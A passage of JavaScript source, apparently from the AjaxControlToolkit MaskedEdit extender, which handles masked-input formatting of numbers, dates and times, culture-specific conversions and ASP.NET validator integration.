                else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._AcceptNegative != AjaxControlToolkit.MaskedEditShowSymbol.None && "+-".indexOf(c) != -1)
                {
                    this.InsertSignal(c);
                }
                if (this._processKey(logicPosition,c)) 
                {
                    this._insertContent(c,logicPosition);
                    logicPosition  = this._getNextPosition(logicPosition+1);
                }
            }
        }
        else if (this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)
        {
            if (logicPosition == this._LogicLastInt)
            {
                logicPosition = this._getPreviousPosition(logicPosition);
                var arr_num = value.split(this.get_CultureDecimalPlaceholder())
                // int element
                for (i = parseInt(arr_num[0].length,10) ; i > 0  ; i--) 
                {
                    var c = arr_num[0].substring(i-1,i);  
                    if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._AcceptNegative != AjaxControlToolkit.MaskedEditShowSymbol.None && "+-".indexOf(c) != -1)
                    {
                        this.InsertSignal(c);
                    }
                    if (this._processKey(logicPosition,c)) 
                    {
                        this._insertContent(c,logicPosition);
                        logicPosition  = this._getPreviousPosition(logicPosition-1);
                    }
                } 
                // decimal element
                if (arr_num.length > 1)
                {
                    logicPosition  = this._getNextPosition(this._LogicLastInt);
                    for (i = 0 ; i < parseInt(arr_num[1].length,10) ; i++) 
                    {
                        var c = arr_num[1].substring(i,i+1);     
                        if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._AcceptNegative != AjaxControlToolkit.MaskedEditShowSymbol.None && "+-".indexOf(c) != -1)
                        {
                            this.InsertSignal(c);
                        }
                        if (this._processKey(logicPosition,c)) 
                        {
                            this._insertContent(c,logicPosition);
                            logicPosition  = this._getNextPosition(logicPosition+1);
                        }
                    }
                }
            }
            else
            {
                for (i = parseInt(value.length,10) ; i > 0  ; i--) 
                {
                    var c = value.substring(i-1,i);  
                    if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._AcceptNegative != AjaxControlToolkit.MaskedEditShowSymbol.None && "+-".indexOf(c) != -1)
                    {
                        this.InsertSignal(c);
                    }
                    if (this._processKey(logicPosition,c)) 
                    {
                        this._insertContent(c,logicPosition);
                        logicPosition  = this._getPreviousPosition(logicPosition-1);
                    }
                }   
            }
        }
    }
    //
    // AutoFormat (date and Time and number)
    //
    , AutoFormatNumber : function()
    {
        var i;
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
        ValueText = wrapper.get_Value();
        var AutoComp = this._AutoCompleteValue;
        var okdgt = false;
        for (i = this._LogicFirstPos ; i <= this._LogicLastPos ; i++) 
        {
            if (this._LogicTextMask.substring(i,i+1) == this._LogicPrompt)
            {
                var CharComp = "0";
                if (AutoComp != "")
                {
                    CharComp = AutoComp.substring(i-this._LogicFirstPos,i+1-this._LogicFirstPos);
                }
                if (okdgt)
                {
                    this._LogicTextMask = this._LogicTextMask.substring(0,i) + CharComp + this._LogicTextMask.substring(i+1);
                    ValueText = ValueText.substring(0,i) + CharComp + ValueText.substring(i+1);
                }
            }
            else if (this._LogicMask.substring(i,i+1) == this._LogicPrompt && "123456789".indexOf(this._LogicTextMask.substring(i,i+1)) != -1)
            {
                okdgt = true;
            }
        }
        wrapper.set_Value(ValueText);
        return ValueText;
    }
    , AutoFormatTime : function()
    {
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());   
        ValueText = wrapper.get_Value();
        var autocomp = this._AutoCompleteValue;
        if (autocomp.indexOf(this.get_CultureTimePlaceholder()) == -1)
        {
            autocomp = "";
        }
        if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
        {
            if (ValueText.split(" ").length == 3)
            {
                ValueText = ValueText.split(" ")[1] + " " + ValueText.split(" ")[2]; 
            }
            else
            {
                ValueText = ValueText.split(" ")[1]; 
            }
            if (autocomp != "")
            {
                // if not have date...
                if (autocomp.indexOf(this.get_CultureDatePlaceholder()) == -1)
                {
                    autocomp = " " + autocomp;
                }
                if (autocomp.split(" ").length == 3)
                {
                    autocomp = autocomp.split(" ")[1] + " " + autocomp.split(" ")[2];
                }
                else
                {
                    autocomp = autocomp.split(" ")[1];
                }
            }
        }
        var CurDate = new Date();
        var Hcur = CurDate.getHours().toString();
        if (Hcur.length < 2)
        {
            Hcur = "0" + Hcur;
        }
        if (autocomp != "")
        {
            Hcur = autocomp.substring(0,2);
        }
        var SetAM = false;
        var SetPM = false;
        var LcAM = "";
        var LcPM = "";
        var Symb = "";
        if (this.get_CultureAMPMPlaceholder() != "")
        {
            var m_arrtm = this.get_CultureAMPMPlaceholder().split(this._AMPMPlaceholderSeparator);
            LcAM = m_arrtm[0];
            LcPM = m_arrtm[1];
            if (autocomp == "")
            {
                var Symb = LcAM;
                if (Hcur > 12)
                {
                    Hcur = (parseInt(Hcur,10) - 12).toString();
                    if (Hcur.length < 2)
                    {
                        Hcur = "0" + Hcur;
                    }
                    Symb = LcPM;
                }
            }
            else
            {
                Symb = LcAM; // default
                if (autocomp.indexOf(LcPM) != -1)
                {
                    // set by autocomplete
                    Symb = LcPM;
                }
            }
            // set by input
            SetAM = true; // default
            if (ValueText.indexOf(LcPM) != -1 && LcPM != "")
            {
                // set by input
                SetPM = true;
            }
            if (!this._AcceptAmPm)
            {
                Symb = "";
                SetPM = false;
                SetAM = false;
            }
            else
            {
                //check empty hour to validate AM/PM
                var emp = true;
                if (ValueText.substring(0,1) != this._PromptChar || ValueText.substring(1,2) != this._PromptChar)
                {
                    emp = false;
                }
                if (emp && Symb != "") 
                {
                    SetAM = true; // default;
                    SetPM = false;
                    if (LcPM == Symb)
                    {
                        // set by current time
                        SetPM = true;
                    }
                }
            }
        }
        var Mcur = CurDate.getMinutes().toString();
        if (Mcur.length < 2)
        {
            Mcur = "0" + Mcur;
        }
        if (autocomp != "" )
        {
            Mcur = autocomp.substring(3,5);
        }
        var Scur = "00";
        var PH,PM;
        if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
        {
            PH = ValueText.substring(0,2);
            PH = this._AdjustTime(PH,Hcur);
            PM = ValueText.substring(3,5);
            PM = this._AdjustTime(PM,Mcur);
        }
        else
        {
            PH = ValueText.substring(this._LogicFirstPos,this._LogicFirstPos+2);
            PH = this._AdjustTime(PH,Hcur);
            PM = ValueText.substring(this._LogicFirstPos+3,this._LogicFirstPos+5);
            PM = this._AdjustTime(PM,Mcur);
        }
        var maskvld = this._maskvalid;
        if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
        {
            maskvld = maskvld.split(" ")[1];
        }
        if (maskvld == "99:99:99")
        {
            if (autocomp != "" )
            {
                Scur = autocomp.substring(6);
            }
            var PS;
            if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
            {
                PS = ValueText.substring(6,8);
                PS = this._AdjustTime(PS,Scur);
            }
            else
            {
                PS = ValueText.substring(this._LogicFirstPos+6,this._LogicFirstPos+8);
                PS = this._AdjustTime(PS,Scur);
            }
            ValueText = PH + this.get_CultureTimePlaceholder() + PM + this.get_CultureTimePlaceholder() + PS;
        }
        else
        {
            ValueText = PH + this.get_CultureTimePlaceholder() + PM;
        }
        if (SetPM)
        {
            ValueText += " " + LcPM;
        }
        else if (SetAM)
        {
            ValueText += " " + LcAM;
        }
        if (this._MaskType != AjaxControlToolkit.MaskedEditType.DateTime)
        {
            this.loadValue(ValueText,this._LogicFirstPos);
        }
        return ValueText;
    }
    , AutoFormatDateTime : function()
    {
        var PartDt = this.AutoFormatDate();            
        var PartTm = this.AutoFormatTime();            
        this.loadValue(PartDt + " " + PartTm,this._LogicFirstPos);
        return PartDt + " " + PartTm;
    }
    , AutoFormatDate : function()
    {
        var D = this._GetDateElementText("D").replace(new RegExp("(\\" + this._PromptChar + ")", "g"), "") + '';
        var M = this._GetDateElementText("M").replace(new RegExp("(\\" + this._PromptChar + ")", "g"), "") + '';
        var Y = this._GetDateElementText("Y").replace(new RegExp("(\\" + this._PromptChar + ")", "g"), "") + '';
        var Y4 = (this._maskvalid.indexOf("9999") != -1)?true:false;
        var autocomp = this._AutoCompleteValue;
        if (autocomp.indexOf(this.get_CultureDatePlaceholder()) == -1)
        {
            autocomp = "";
        }
        var Dcur,Mcur,Ycur;
        if (autocomp == "")
        {
            var CurDate = new Date();
            Dcur = (CurDate.getUTCDate()).toString();
            if (Dcur.length < 2)
            {
                Dcur = "0" + Dcur;
            }
            Mcur = (CurDate.getUTCMonth()+1).toString();
            if (Mcur.length < 2)
            {
                Mcur = "0" + Mcur;
            }
            if (Y4)
            {
                Ycur = CurDate.getUTCFullYear().toString();
            }
            else
            {
                Ycur = Ycur.substring(2);
            }
        }
        else
        {
            var m_arrDate;
            if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
            {
                // if not have time...
                if (autocomp.indexOf(this.get_CultureTimePlaceholder()) == -1)
                {
                    autocomp = autocomp + " ";
                }
                var partdt = autocomp.split(" ")[0]; 
                m_arrDate = partdt.split(this.get_CultureDatePlaceholder());
            }
            else
            {
                m_arrDate = autocomp.split(this.get_CultureDatePlaceholder());
            }
            if (this.get_CultureDateFormat() == "DMY")
            {
                Dcur = m_arrDate[0];
                Mcur = m_arrDate[1];
                Ycur = m_arrDate[2];
            }
            else if (this.get_CultureDateFormat() == "MDY")
            {
                Dcur = m_arrDate[1];
                Mcur = m_arrDate[0];
                Ycur = m_arrDate[2];
            }
            else if (this.get_CultureDateFormat() == "DYM")
            {
                Dcur = m_arrDate[0];
                Mcur = m_arrDate[2];
                Ycur = m_arrDate[1];
            }
            else if (this.get_CultureDateFormat() == "MYD")
            {
                Dcur = m_arrDate[2];
                Mcur = m_arrDate[0];
                Ycur = m_arrDate[1];
            }
            else if (this.get_CultureDateFormat() == "YMD")
            {
                Dcur = m_arrDate[2];
                Mcur = m_arrDate[1];
                Ycur = m_arrDate[0];
            }
            else if (this.get_CultureDateFormat() == "YDM")
            {
                Dcur = m_arrDate[1];
                Mcur = m_arrDate[2];
                Ycur = m_arrDate[0];
            }            
            if (Dcur.length < 2)
            {
                Dcur = "0" + Dcur;
            }
            if (Mcur.length < 2)
            {
                Mcur = "0" + Mcur;
            }
            if (Y4)
            {
                while (Ycur.length < 4)
                {
                    Ycur = "0" + Ycur;
                }
            }
            else
            {
                while (Ycur.length < 2)
                {
                    Ycur = "0" + Ycur;
                }
            }
        }
        if (D == "")
        {
            D = Dcur;
        }
        if (M== "")
        {
            M = Mcur;
        }
        if (Y == "")
        {
            Y = Ycur;
        }
        var value;
        if (this.get_CultureDateFormat() == "DMY")
        {
          value = D + this.get_CultureDatePlaceholder() + M + this._CultureDatePlaceholder + Y;
        }
        else if (this.get_CultureDateFormat() == "MDY")
        {
          value = M + this.get_CultureDatePlaceholder() + D + this._CultureDatePlaceholder + Y;
        }
        else if (this.get_CultureDateFormat() == "DYM")
        {
          value = D + this.get_CultureDatePlaceholder() + Y + this._CultureDatePlaceholder + M;
        }
        else if (this.get_CultureDateFormat() == "MYD")
        {
          value = M + this.get_CultureDatePlaceholder() + Y + this._CultureDatePlaceholder + D;
        }
        else if (this.get_CultureDateFormat() == "YMD")
        {
          value = Y + this.get_CultureDatePlaceholder() + M + this._CultureDatePlaceholder + D;
        }
        else if (this.get_CultureDateFormat() == "YDM")
        {
          value = Y + this.get_CultureDatePlaceholder() + D + this._CultureDatePlaceholder + M;
        }
        if (this._MaskType != AjaxControlToolkit.MaskedEditType.DateTime)
        {
            this.loadValue(value,this._LogicFirstPos);
        }
        return value;
    }
    //
    // normalize initial value (number)
    //
    , ConvFmtNumber : function(input,loadFirst)
    {
        if (this._maskvalid.split(this.get_CultureDecimalPlaceholder()).length == 2)
        {
            if (input.substring(input.length-1,input.length) == this.get_CultureDecimalPlaceholder())
            {
                input = input.substring(0,input.length-1);
            }
            if (input.indexOf(this.get_CultureDecimalPlaceholder()) == -1)
            {
                input += this.get_CultureDecimalPlaceholder();
                var i;
                var m_mask = this._maskvalid;
                for (i = 0;i < m_mask.length;i++)
                {
                    input += "0";
                }
                return input;
            }
        }
        return input;
    }
    //
    // normalize initial value (Time)
    //
    , ConvFmtTime : function(input,loadFirst)
    {
        var AddH = 0;
        var SetAM = false;
        var SetPM = false;
        var LcAM = "";
        var LcPM = "";
        if (this.get_CultureAMPMPlaceholder() != "")
        {
            LcAM = this.get_CultureAMPMPlaceholder().split(this._AMPMPlaceholderSeparator)[0];
            LcPM = this.get_CultureAMPMPlaceholder().split(this._AMPMPlaceholderSeparator)[1];
        }
        //perform convert for loading of a page 
        if (loadFirst)
        {
            var LDLcAM = "";
            var LDLcPM = "";
            if (this._CultureAMPMPlaceholder != "")
            {
                LDLcAM = this._CultureAMPMPlaceholder.split(this._AMPMPlaceholderSeparator)[0];
                LDLcPM = this._CultureAMPMPlaceholder.split(this._AMPMPlaceholderSeparator)[1];
            }
            // convert current Culture to user culture format (24H)
            if (this.get_UserTimeFormat() == AjaxControlToolkit.MaskedEditUserTimeFormat.TwentyFourHour)
            {
                input = input.replace(new RegExp("(\\" + LDLcAM + ")", "g"),"");
                if (input.indexOf(LDLcPM) != -1)
                {
                    AddH = 12;
                }
                input = input.replace(new RegExp("(\\" + LDLcPM + ")", "g"),"");
            }
        }    
        if (input.indexOf(LcAM) != -1 && LcAM != "")
        {
            SetAM = true;
        }
        else if (input.indexOf(LcPM) != -1 && LcPM != "")
        {
            SetPM = true;
        }
        if (LcAM != "")
        {
            input = input.replace(new RegExp("(\\" + LcAM + ")", "g"), "");
        }
        if (LcPM != "")
        {
            input = input.replace(new RegExp("(\\" + LcPM + ")", "g"), "");
        }
        input = input.replace(new RegExp("(\\" + " " + ")", "g"), "");
        var m_arrTime = input.split(this.get_CultureTimePlaceholder());
        var m_mask = this._maskvalid;
        if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
        {
            m_mask = m_mask.split(" ")[1];
        }
        m_mask = m_mask.split(":");
        if (parseInt(m_arrTime.length,10) < 2 || parseInt(m_arrTime.length,10) > 3)
        {
            return "";
        }
        var H = parseInt(m_arrTime[0],10) + AddH;
        H = H.toString();
        if (H.length < m_mask[0].length)
        {
            while (H.length < m_mask[0].length)
            {
                H = "0" + H;
            }
        }
        m_arrTime[0] = H;
        var M = parseInt(m_arrTime[1],10) + '';
        if (M.length < m_mask[1].length)
        {
            while (M.length < m_mask[1].length)
            {
                M = "0" + M;
            }
        }
        m_arrTime[1] = M;
        var value = "";
        if (parseInt(m_arrTime.length,10) == 3)
        {
            var S = parseInt(m_arrTime[2],10) + '';
            if (S.length < m_mask[2].length)
            {
                while (S.length < m_mask[2].length)
                {
                    S = "0" + S;
                }
            }
            m_arrTime[2] = S;
            value = m_arrTime[0] + this.get_CultureTimePlaceholder() + m_arrTime[1] + this.get_CultureTimePlaceholder() + m_arrTime[2];
        }
        else
        {
            value = m_arrTime[0] + this.get_CultureTimePlaceholder() + m_arrTime[1]; 
        }
        if (SetAM)
        {
            value += " " + LcAM;
        }
        else if (SetPM)
        {
            value += " " + LcPM;
        }
        return value;
    }
    //
    // normalize initial value (Date)
    //
    , ConvFmtDateTime : function(input,loadFirst)
    {
        var partdt = input.split(" ")[0];
        var parttm = input.split(" ")[1];
        if (input.split(" ").length == 3)
        {
            parttm += " " + input.split(" ")[2];
        }
        partdt = this.ConvFmtDate(partdt,loadFirst);
        parttm = this.ConvFmtTime(parttm,loadFirst);
        return  partdt + " " + parttm;
    }
    , ConvFmtDate : function(input,loadFirst)
    {
        var m_arrDateLD; 
        var m_arrDate;
        //perform convert for loading of a page 
        if (loadFirst)
        {
            //split values for perform convert load 
            m_arrDateLD = input.split(this.get_CultureDatePlaceholder());
            //split destination value
            m_arrDate = input.split(this.get_CultureDatePlaceholder());
            // convert current Culture to user culture format
            if (this.get_UserDateFormat() != AjaxControlToolkit.MaskedEditUserDateFormat.None)
            {
                  m_arrDate[this.get_CultureDateFormat().indexOf("D")] = m_arrDateLD[this._CultureDateFormat.indexOf("D")];   
                  m_arrDate[this.get_CultureDateFormat().indexOf("M")] = m_arrDateLD[this._CultureDateFormat.indexOf("M")];   
                  m_arrDate[this.get_CultureDateFormat().indexOf("Y")] = m_arrDateLD[this._CultureDateFormat.indexOf("Y")];   
            }
        }
        else
        {
            // split value (not load) 
            m_arrDate = input.split(this.get_CultureDatePlaceholder());
        }
        var m_mask = this._maskvalid;
        if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
        {
            m_mask = m_mask.split(" ")[0];
        }
        m_mask = m_mask.split("/");
        if (parseInt(m_arrDate.length,10) != 3)
        {
            return "";
        }
        var D = parseInt(m_arrDate[this.get_CultureDateFormat().indexOf("D")],10) + '';
        if (D.length < m_mask[this.get_CultureDateFormat().indexOf("D")].length)
        {
            while (D.length < m_mask[this.get_CultureDateFormat().indexOf("D")].length)
            {
                D = "0" + D;
            }
        }
        m_arrDate[this.get_CultureDateFormat().indexOf("D")] = D;
        var M = parseInt(m_arrDate[this.get_CultureDateFormat().indexOf("M")],10) + '' ;
        if (M.length < m_mask[this.get_CultureDateFormat().indexOf("M")].length)
        {
            while (M.length < m_mask[this.get_CultureDateFormat().indexOf("M")].length)
            {
                M = "0" + M;
            }
        }
        m_arrDate[this.get_CultureDateFormat().indexOf("M")] = M;
        var Y = parseInt(m_arrDate[this.get_CultureDateFormat().indexOf("Y")],10) + '';
        while (Y.length < m_mask[this.get_CultureDateFormat().indexOf("Y")].length)
        {
            Y = "0" + Y;
        }
        m_arrDate[this.get_CultureDateFormat().indexOf("Y")] = Y;
        return m_arrDate[0] + this.get_CultureDatePlaceholder() + m_arrDate[1] + this._CultureDatePlaceholder + m_arrDate[2];
    }
    //
    // Set/Remove CssClass
    //
    , AddCssClassMaskedEdit : function(CssClass)
    {
        var e = this.get_element();
        Sys.UI.DomElement.removeCssClass(e,this._OnBlurCssNegative);
        Sys.UI.DomElement.removeCssClass(e,this._OnFocusCssClass);
        Sys.UI.DomElement.removeCssClass(e,this._OnFocusCssNegative);
        Sys.UI.DomElement.removeCssClass(e,this._OnInvalidCssClass);
        if (CssClass != "")
        {
            Sys.UI.DomElement.addCssClass(e,CssClass);
        }
    }
    //
    // Set Cancel Event for cross browser
    //
    , _SetCancelEvent : function(evt) {
        /// <summary>
        /// Cancel Event for any browser
        /// </summary>
        /// <param name="evt" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>
        if (typeof(evt.returnValue) !== "undefined") {
            evt.returnValue = false;
        }
        if (typeof(evt.cancelBubble) !== "undefined") {
            evt.cancelBubble = true;
        }
        if (typeof(evt.preventDefault) !== "undefined") {
            evt.preventDefault();
        }
        if (typeof(evt.stopPropagation) !== "undefined") {
            evt.stopPropagation();
        }
    }
    //
    // Capture result validator after Postback
    //
    ,_CaptureServerValidators : function()
    {
        var ret = true;
        var msg = this._ExternalMessageError;
        if  (typeof(Page_Validators) != "undefined")
        {
            var ctrval = null;
            var first = true;
            for (i = 0; i < Page_Validators.length; i++) 
            {
                ctrval = Page_Validators[i];
                if (typeof(ctrval.enabled) == "undefined" || ctrval.enabled != false) 
                {
                    if (ctrval.TargetValidator == this.get_element().id)
                    {
                        if (!ctrval.isvalid)
                        {
                            if (first)
                            {
                                first = false;
                                msg = "";
                            }
                            if (typeof(ctrval.errormessage) == "string")
                            {
                                if (msg != "")
                                {
                                    msg += ", ";
                                }
                                msg += ctrval.errormessage;
                            }
                            ret = false;
                        }
                    }
                }
            }
        }
        this._ExternalMessageError = msg;
        return ret;
    }
    //
    // Capture and execute client validator to control
    //
    ,_CaptureClientsValidators : function()
    {
        var ret = true;
        // clear local save External Message Error
        var msg = "";
        this._ExternalMessageError = msg;
        // Page_Validators is a Array of script asp.net
        if  (typeof(Page_Validators) != "undefined")
        {
            var ctrval = null;
            for (i = 0; i < Page_Validators.length; i++) 
            {
                ctrval = Page_Validators[i];
                if (typeof(ctrval.enabled) == "undefined" || ctrval.enabled != false) 
                {
                    if (ctrval.TargetValidator == this.get_element().id)
                    {
                        if (typeof(ctrval.evaluationfunction) == "function") 
                        {
                            var crtret = ctrval.evaluationfunction(ctrval); 
                            if (!crtret)
                            {
                                ret = false;
                                if (typeof(ctrval.errormessage) == "string")
                                {
                                    if (msg != "")
                                    {
                                        msg += ", ";
                                    }
                                    msg += ctrval.errormessage;
                                }
                            }
                        }
                        else if(typeof(ctrval.evaluationfunction) == "string") 
                        {
                            var crtret; 
                            eval("crtret = " + ctrval.evaluationfunction + "(" + ctrval.id + ")"); 
                            if (!crtret)
                            {
                                ret = false;
                                if (typeof(ctrval.errormessage) == "string")
                                {
                                    if (msg != "")
                                    {
                                        msg += ", ";
                                    }
                                    msg += ctrval.errormessage;
                                }
                            }
                        }
                    }
                }
            }
        }
        this._ExternalMessageError = msg;
        return ret;
    }
    //
    // Show/hide Message Tip
    //
    ,ShowTooltipMessage : function(Visible)
    {
        if  (typeof(Page_Validators) == "undefined")
        {
            return;
        }
        var msg = "";
        if (!Visible)
        {
            msg = this._CurrentMessageError;
            this._CurrentMessageError = "";
        }
        var i = 0
        var ctrval = null;
        for (i = 0; i < Page_Validators.length; i++) 
        {
            ctrval = Page_Validators[i];
            if (ctrval.TargetValidator == this.get_element().id && ctrval.IsMaskedEdit == "true")
            {
                if (!Visible)
                {
                    ctrval.innerHTML = msg;
                    if (typeof(ctrval.display) == "string") 
                    {    
                        if (ctrval.display == "None") {
                            return;
                        }
                        if (ctrval.display == "Dynamic") {
                            ctrval.style.display = ctrval.isvalid ? "none" : "inline";
                            return;
                        }
                    }
                    return;
                }
                this._CurrentMessageError = ctrval.innerHTML;
                ctrval.innerHTML = ctrval.TooltipMessage;
                if (typeof(ctrval.display) == "string") 
                {    
                    if (ctrval.display == "None") {
                        return;
                    }
                    if (ctrval.display == "Dynamic") {
                        ctrval.style.display = "inline";
                        return;
                    }
                }
                ctrval.style.visibility = "visible";
                return;
            }
        }    
    }
    //
    // Insert Content at position in curpos
    //
    , _insertContent : function(value,curpos) 
    {
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
        var masktext = wrapper.get_Value();
        masktext = masktext.substring(0,curpos) + value + masktext.substring(curpos+1);
        this._LogicTextMask = this._LogicTextMask.substring(0,curpos) + value + this._LogicTextMask.substring(curpos+1);
        wrapper.set_Value(masktext);
    }    
    //
    // Insert Content at last right position 
    //
    , _insertContentRight : function(value) 
    {
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
        var masktext = wrapper.get_Value();
        curpos = this._getLastEmptyPosition();
        if (curpos < 0)
        {
            return;
        }
        var resttext = masktext.substring(curpos+1);
        var restlogi = this._LogicTextMask.substring(curpos+1);
        masktext = masktext.substring(0,curpos) + this._PromptChar;
        this._LogicTextMask = this._LogicTextMask.substring(0,curpos) + this._LogicPrompt;
        // clear rest of mask
        if (this._LogicLastInt != -1 && this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)
        {
            var arr_num = resttext.split(this.get_CultureDecimalPlaceholder());
            var arr_log = restlogi.split(this.get_CultureDecimalPlaceholder());
            for (i = 0 ; i < parseInt(arr_num[0].length,10) ; i++) 
            {
                if (this._isValidMaskedEditPosition(curpos+1+i))
                {
                    masktext += this._PromptChar;
                    this._LogicTextMask += this._LogicPrompt;
                }
                else
                {
                    masktext += arr_num[0].substring(i,i+1);
                    this._LogicTextMask += arr_log[0].substring(i,i+1);
                }
            }
            if (arr_num.length = 2) 
            {
                masktext += this.get_CultureDecimalPlaceholder() + arr_num[1];
                this._LogicTextMask += this.get_CultureDecimalPlaceholder() + arr_log[1];
            }
            // insert only valid text
            posaux = this._getNextPosition(curpos);
            for (i = 0 ; i < parseInt(arr_num[0].length,10); i++) 
            {
                if (this._isValidMaskedEditPosition(curpos+1+i) && arr_log[0].substring(i,i+1) != this._LogicPrompt)
                {
                    masktext = masktext.substring(0,posaux) + arr_num[0].substring(i,i+1) + masktext.substring(posaux+1);
                    this._LogicTextMask = this._LogicTextMask.substring(0,posaux) + arr_log[0].substring(i,i+1) + this._LogicTextMask.substring(posaux+1);
                    posaux = this._getNextPosition(posaux+1);
                }
            }
        }
        else
        {
            for (i = 0 ; i < parseInt(resttext.length,10) ; i++) 
            {
                if (this._isValidMaskedEditPosition(curpos+1+i))
                {
                    masktext += this._PromptChar;
                    this._LogicTextMask += this._LogicPrompt;
                }
                else
                {
                    masktext += resttext.substring(i,i+1);
                    this._LogicTextMask += restlogi.substring(i,i+1);
                }
            }
            // insert only valid text
            posaux = this._getNextPosition(curpos);
            for (i = 0 ; i < parseInt(resttext.length,10); i++) 
            {
                if (this._isValidMaskedEditPosition(curpos+1+i) && restlogi.substring(i,i+1) != this._LogicPrompt)
                {
                    masktext = masktext.substring(0,posaux) + resttext.substring(i,i+1) + masktext.substring(posaux+1);
                    this._LogicTextMask = this._LogicTextMask.substring(0,posaux) + restlogi.substring(i,i+1) + this._LogicTextMask.substring(posaux+1);
                    posaux = this._getNextPosition(posaux+1);
                }
            }            
        }
        // insert value
        var dif = 0;
        if (this._LogicLastInt != -1 && this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)
        {
            dif = this._LogicLastPos - this._LogicLastInt+1;
        }
        masktext = masktext.substring(0,this._LogicLastPos-dif) + value + masktext.substring(this._LogicLastPos-dif+1);
        this._LogicTextMask = this._LogicTextMask.substring(0,this._LogicLastPos-dif) + value + this._LogicTextMask.substring(this._LogicLastPos-dif+1);
        wrapper.set_Value(masktext);
    }    
    //
    // Insert Symbol AM/PM
    //
    , InsertAMPM : function(value)
    {
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
        var masktext = wrapper.get_Value();
        var ASymMask = this.get_CultureAMPMPlaceholder().split(this._AMPMPlaceholderSeparator);
        var symb =  "";
        if (ASymMask.length == 2)
        {
            if (value.toUpperCase() == this.get_CultureFirstLetterAM().toUpperCase())
            {
              symb = ASymMask[0];
            }
            else if (value.toUpperCase() == this.get_CultureFirstLetterPM().toUpperCase())
            {
              symb = ASymMask[1];
            }
            this._LogicSymbol = symb;
        }
        masktext = masktext.substring(0,this._LogicLastPos+2) + symb + masktext.substring(this._LogicLastPos+2+symb.length);
        wrapper.set_Value(masktext);
    }
    //
    // Insert Symbol Negative
    //
    , InsertSignal : function(value)
    {
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
        var masktext = wrapper.get_Value();
        if (value == "-" && this._LogicSymbol == "-")
        {
            value = "+";
        }
        if (value == "+")
        {
            value = " ";
            this._LogicSymbol = "";
            if (!this._InLostfocus && this._OnFocusCssClass != "")
            {
                this.AddCssClassMaskedEdit(this._OnFocusCssClass);
            }
            else if (!this._InLostfocus)
            {
                this.AddCssClassMaskedEdit("");
            }
        }
        else
        {
            this._LogicSymbol = "-";
            if (!this._InLostfocus && this._OnFocusCssNegative != "")
            {
                this.AddCssClassMaskedEdit(this._OnFocusCssNegative);
            }
        }
        if (this._AcceptNegative == AjaxControlToolkit.MaskedEditShowSymbol.Left)
        {
          masktext = masktext.substring(0,this._LogicFirstPos-1) + value + masktext.substring(this._LogicFirstPos);
        }
        else if (this._AcceptNegative == AjaxControlToolkit.MaskedEditShowSymbol.Right)
        {
          masktext = masktext.substring(0,this._LogicLastPos+1) + value + masktext.substring(this._LogicLastPos+2);
        }
        wrapper.set_Value(masktext);
    }
    //
    // Set Cursor at position in TextBox
    //
    , setSelectionRange : function(selectionStart, selectionEnd) 
    {
      input = this.get_element();
      if (input.setSelectionRange) 
      {
        input.setSelectionRange(selectionStart, selectionEnd);
      }
      else if (input.createTextRange) 
      {
        var range = input.createTextRange();
        range.collapse(true);
        range.moveEnd('character', selectionEnd);
        range.moveStart('character', selectionStart);
        range.select();
      }
    }
    //
    // get last position empty in text 
    //
    , _getLastEmptyPosition : function()
    {
        var pos = this._LogicLastPos;
        if (this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft && this._LogicLastInt != -1)
        {
            var curpos = this._getCurrentPosition();
            if (curpos <= this._LogicLastInt)
            {
                pos = this._LogicLastInt;
            }
        }
        while (pos >= 0 && this._LogicTextMask.substring(pos, pos+1) != this._LogicPrompt)
        {
            pos--;
        }
        return pos;
    }
    //
    // position is valid edit ?
    //
    , _isValidMaskedEditPosition : function(pos) 
    {
        return (this._LogicMask.substring(pos,pos+1) == this._LogicPrompt);
    }
    //
    // Next valid Position
    //
    , _getNextPosition : function(pos)
    {
        while (!this._isValidMaskedEditPosition(pos) && pos < this._LogicLastPos+1)
        {
            pos++;
        }
        if (pos > this._LogicLastPos+1)
        {
            pos = this._LogicLastPos+1;
        }
        return pos;
    }
    //
    // Previous valid Position
    //
    , _getPreviousPosition : function(pos)
    {
        while (!this._isValidMaskedEditPosition(pos) && pos > this._LogicFirstPos)
        {
            pos--;
        }
        if (pos < this._LogicFirstPos)
        {
            pos = this._LogicFirstPos;
        }
        return pos;
    }
    //
    // Current Position
    //
    , _getCurrentPosition : function()
    {
        begin = 0;
        input = this.get_element();
        if (input.setSelectionRange) 
        {
            begin = parseInt(input.selectionStart,10);
        }
        else if (document.selection) 
        {
            sel = document.selection.createRange();
            if (sel.text != "")
            {
                var aux = ""
                if (this._DirectSelText == "R")
                {
                    aux = sel.text + String.fromCharCode(3);
                }
                else if (this._DirectSelText == "L")
                {
                    aux = String.fromCharCode(3) + sel.text ;
                }
                sel.text = aux;
                this._DirectSelText == "";
            }
            else
            {
                sel.text = String.fromCharCode(3);
                this._DirectSelText == "";
            }
            var dummy = input.createTextRange();
            dummy.findText(String.fromCharCode(3));
            dummy.select();
            var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(input);
            begin = wrapper.get_Value().indexOf(String.fromCharCode(3));
            document.selection.clear();
        }
        if (begin > this._LogicLastPos+1)
        {
